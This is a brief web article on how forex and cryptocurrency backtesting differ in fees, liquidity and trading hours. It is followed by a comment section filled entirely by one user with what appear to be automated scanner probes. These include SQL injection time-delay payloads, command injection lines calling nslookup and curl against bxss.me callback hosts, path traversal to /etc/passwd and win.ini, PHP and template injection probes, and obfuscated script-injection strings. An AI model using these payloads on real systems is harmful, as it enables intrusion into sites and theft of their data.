Difference between forex backtesting and cryptocurrency trading backtesting

There are significant differences between forex backtesting and cryptocurrency quantitative trading backtesting, which mainly stem from the distinct market characteristics and trading mechanisms of the two.

Firstly, transaction fees are a notable distinction. Forex trading fees are generally lower, typically below 0.01%, resulting in relatively low trading costs. However, digital currency trading fees are comparatively higher, especially on platforms like OKX  and binance, where spot trading fees can reach 0.2%, and perpetual contract order placement fees are 0.02% while order matching fees are 0.05%. This difference is crucial in the backtesting process, as the level of fees directly impacts the net return of the investment portfolio. In digital currency backtesting systems like aijiebot, the system often sets backtesting transaction fee parameters based on the platform's established fee rates to more accurately simulate the actual trading environment.

Secondly, market liquidity is another significant difference. The forex market, as one of the largest financial markets globally, boasts extremely high liquidity with daily trading volumes reaching trillions of US dollars. This results in minimal slippage during trading and relatively small price fluctuations. Conversely, the digital currency market, due to its relatively small market size and complex participant structure, experiences greater volatility and higher slippage. In the backtesting process, these differences in liquidity and volatility need to be taken into account to accurately assess the performance of investment portfolios in different market environments.

Lastly, trading hours are also a crucial factor to consider. The forex market generally trades from Monday to Friday, with the market showing some discontinuity when it opens on Fridays after the weekend. In contrast, the digital currency market operates 24/7, providing higher flexibility and convenience for traders. During backtesting, the impact of these differences in trading hours on the performance of the investment portfolio needs to be considered.

In summary, there are significant differences between forex backtesting and digital currency quantitative trading backtesting in terms of transaction fees, market liquidity, and trading hours. These differences must be thoroughly considered during the backtesting process to accurately evaluate the performance of investment portfolios.



  admin   2024-5-5

nqhXncMU2024-7-3 2:07:20
!(()&&!|*|*|
nqhXncMU2024-7-3 2:07:21
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:07:26
'.gethostbyname(lc('hitys'.'mceaojoc37b8d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(67).chr(117).chr(69).'
nqhXncMU2024-7-3 2:07:26
&n983475=v955094
nqhXncMU2024-7-3 2:07:28
1TTmIMBQO
nqhXncMU2024-7-3 2:07:28
".gethostbyname(lc("hitni"."aiuzsaebe179b.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(78).chr(114).chr(85)."
nqhXncMU2024-7-3 2:07:29
CnKa8eSF
nqhXncMU2024-7-3 2:07:32
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:07:36
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:07:37
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:07:38
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:07:39
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:07:41
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:07:41
${10000028+9999209}
nqhXncMU2024-7-3 2:07:41
file:///etc/passwd
nqhXncMU2024-7-3 2:07:43
echo dhdcsp$()\ sjxbft\nz^xyu||a #' &echo dhdcsp$()\ sjxbft\nz^xyu||a #|" &echo dhdcsp$()\ sjxbft\nz^xyu||a #
nqhXncMU2024-7-3 2:07:44
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:07:47
${@print(md5(31337))}
nqhXncMU2024-7-3 2:07:48
&echo rypboa$()\ ssozpw\nz^xyu||a #' &echo rypboa$()\ ssozpw\nz^xyu||a #|" &echo rypboa$()\ ssozpw\nz^xyu||a #
nqhXncMU2024-7-3 2:07:49
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:07:49
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:07:50
|echo mtbphj$()\ giqmvq\nz^xyu||a #' |echo mtbphj$()\ giqmvq\nz^xyu||a #|" |echo mtbphj$()\ giqmvq\nz^xyu||a #
nqhXncMU2024-7-3 2:07:51
'"()
nqhXncMU2024-7-3 2:07:51
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:07:52
../
nqhXncMU2024-7-3 2:07:53
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:07:53
(nslookup -q=cname hityacgapsatw8169f.bxss.me||curl hityacgapsatw8169f.bxss.me))
nqhXncMU2024-7-3 2:07:54
'&&sleep(27*1000)*qhrvbp&&'
nqhXncMU2024-7-3 2:07:54
response.write(9948365*9002699)
nqhXncMU2024-7-3 2:07:56
378
nqhXncMU2024-7-3 2:07:56
"&&sleep(27*1000)*joqjba&&"
nqhXncMU2024-7-3 2:07:57
'+response.write(9948365*9002699)+'
nqhXncMU2024-7-3 2:07:57
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:07:57
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:07:57
"+"A".concat(70-3).concat(22*4).concat(100).concat(74).concat(108).concat(71)+(require"socket" Socket.gethostbyname("hitcw"+"uolorsztcfef9.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:07:57
$(nslookup -q=cname hitzvbwdsyazoec934.bxss.me||curl hitzvbwdsyazoec934.bxss.me)
nqhXncMU2024-7-3 2:07:59
'||sleep(27*1000)*jwwxoh||'
nqhXncMU2024-7-3 2:08:00
378
nqhXncMU2024-7-3 2:08:00
&nslookup -q=cname hittyhqaqvcwk9d52d.bxss.me&'\"`0&nslookup -q=cname hittyhqaqvcwk9d52d.bxss.me&`'
nqhXncMU2024-7-3 2:08:00
'+'A'.concat(70-3).concat(22*4).concat(113).concat(65).concat(101).concat(82)+(require'socket' Socket.gethostbyname('hitow'+'manjaaqka6d0f.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:08:02
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:08:02
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:08:02
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:08:03
xfs.bxss.me
nqhXncMU2024-7-3 2:08:03
378/.
nqhXncMU2024-7-3 2:08:03
&(nslookup -q=cname hitattoaueygs32eaf.bxss.me||curl hitattoaueygs32eaf.bxss.me)&'\"`0&(nslookup -q=cname hitattoaueygs32eaf.bxss.me||curl hitattoaueygs32eaf.bxss.me)&`'
nqhXncMU2024-7-3 2:08:04
"+response.write(9948365*9002699)+"
nqhXncMU2024-7-3 2:08:05
"||sleep(27*1000)*vkvjhr||"
nqhXncMU2024-7-3 2:08:07
BdMcIX02
nqhXncMU2024-7-3 2:08:09
964688
nqhXncMU2024-7-3 2:08:11
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:08:12
|(nslookup -q=cname hitxalubplvar468af.bxss.me||curl hitxalubplvar468af.bxss.me)
nqhXncMU2024-7-3 2:08:12
*980*975*0
nqhXncMU2024-7-3 2:08:14
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:08:16
NaN+985-980-5
nqhXncMU2024-7-3 2:08:18
9607843
nqhXncMU2024-7-3 2:08:18
/etc/shells
nqhXncMU2024-7-3 2:08:21
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:08:22
*912*907*0
nqhXncMU2024-7-3 2:08:22
c:/windows/win.ini
nqhXncMU2024-7-3 2:08:23
bfg3099<s1﹥s2ʺs3ʹhjl3099
nqhXncMU2024-7-3 2:08:25
bxss.me
nqhXncMU2024-7-3 2:08:27
bfgx2680��z1��z2a�bcxhjl2680
nqhXncMU2024-7-3 2:08:27
NaN+917-912-5
nqhXncMU2024-7-3 2:08:28
`(nslookup -q=cname hitcuhtojsker6ee50.bxss.me||curl hitcuhtojsker6ee50.bxss.me)`
nqhXncMU2024-7-3 2:08:29
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:08:31
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:08:36
*690*685*0
nqhXncMU2024-7-3 2:08:39
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:08:39
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:08:43
NaN+695-690-5
nqhXncMU2024-7-3 2:08:44
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:08:51
*396*391*0
nqhXncMU2024-7-3 2:08:52
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:08:55
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:08:56
NaN+401-396-5
nqhXncMU2024-7-3 2:08:58
-1 OR 2+266-266-1=0+0+0+1
nqhXncMU2024-7-3 2:09:02
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:09:06
-1 OR 3+266-266-1=0+0+0+1
nqhXncMU2024-7-3 2:09:10
-1 OR 3*2<(0+5+266-266)
nqhXncMU2024-7-3 2:09:10
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:09:13
-1 OR 3*2>(0+5+266-266)
nqhXncMU2024-7-3 2:09:17
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:09:26
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:09:28
*if(now()=sysdate(),sleep(15),0)
nqhXncMU2024-7-3 2:09:30
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:09:33
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
nqhXncMU2024-7-3 2:09:35
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:09:42
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
nqhXncMU2024-7-3 2:09:47
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:09:53
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:09:56
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nqhXncMU2024-7-3 2:09:58
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:10:02
98991*97996*98991*97996
nqhXncMU2024-7-3 2:10:05
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:10:11
-1; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:10:12
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:10:20
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:10:25
dfb#{xca}=123
nqhXncMU2024-7-3 2:10:32
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:10:33
-1); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:10:39
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:10:43
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:10:46
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:10:49
-1)); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:10:51
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:10:59
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:11:05
-1 waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:11:21
%0D%0A%3C%53%63%52%69%50%74%20%3E%47%6A%78%46%289307%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:11:21
tudhG6cX'; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:11:27
\u003CScRiPt\GjxF(9525)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:11:34
&lt;ScRiPt&gt;GjxF(9117)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:11:46
A3zNeGjx'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:11:51
}body{zzz:Expre/**/SSion(GjxF(9891))}
nqhXncMU2024-7-3 2:12:12
rckiBnHv'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:12:27
r4Z7mgFb')); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:12:45
-1 OR 984=(SELECT 984 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:12:58
-1) OR 175=(SELECT 175 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:13:11
-1)) OR 819=(SELECT 819 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:13:26
nnLHz3Ge' OR 113=(SELECT 113 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:13:38
HYRheuIv') OR 212=(SELECT 212 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:13:48
I00jvLTs')) OR 579=(SELECT 579 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:13:59
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nqhXncMU2024-7-3 2:14:14
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nqhXncMU2024-7-3 2:14:17
����%2527%2522\'\"
nqhXncMU2024-7-3 2:14:22
@@aQem6
nqhXncMU2024-7-3 3:24:48
9645019
nqhXncMU2024-7-3 3:25:02
bfg3060<s1﹥s2ʺs3ʹhjl3060
nqhXncMU2024-7-3 3:25:30
bfgx6831��z1��z2a�bcxhjl6831
nqhXncMU2024-7-3 3:25:52
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:26:32
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:26:50
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:27:15
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:27:43
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:28:00
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:30:09
%0D%0A%3C%53%63%52%69%50%74%20%3E%6F%4B%50%59%289808%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:30:17
\u003CScRiPt\oKPY(9985)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:30:24
&lt;ScRiPt&gt;oKPY(9045)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:31:00
}body{zzz:Expre/**/SSion(oKPY(9654))}
nqhXncMU2024-7-3 9:38:46
9967538
nqhXncMU2024-7-3 9:38:54
bfg5158<s1﹥s2ʺs3ʹhjl5158
nqhXncMU2024-7-3 9:39:00
bfgx5284��z1��z2a�bcxhjl5284
nqhXncMU2024-7-3 9:39:07
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 9:39:18
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 9:39:25
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 9:39:31
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 9:39:37
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 9:39:46
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 9:40:56
%0D%0A%3C%53%63%52%69%50%74%20%3E%44%39%58%45%289886%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 9:41:02
\u003CScRiPt\D9XE(9138)\u003C/sCripT\u003E
nqhXncMU2024-7-3 9:41:09
&lt;ScRiPt&gt;D9XE(9933)&lt;/sCripT&gt;
nqhXncMU2024-7-3 9:41:32
}body{zzz:Expre/**/SSion(D9XE(9471))}
评论: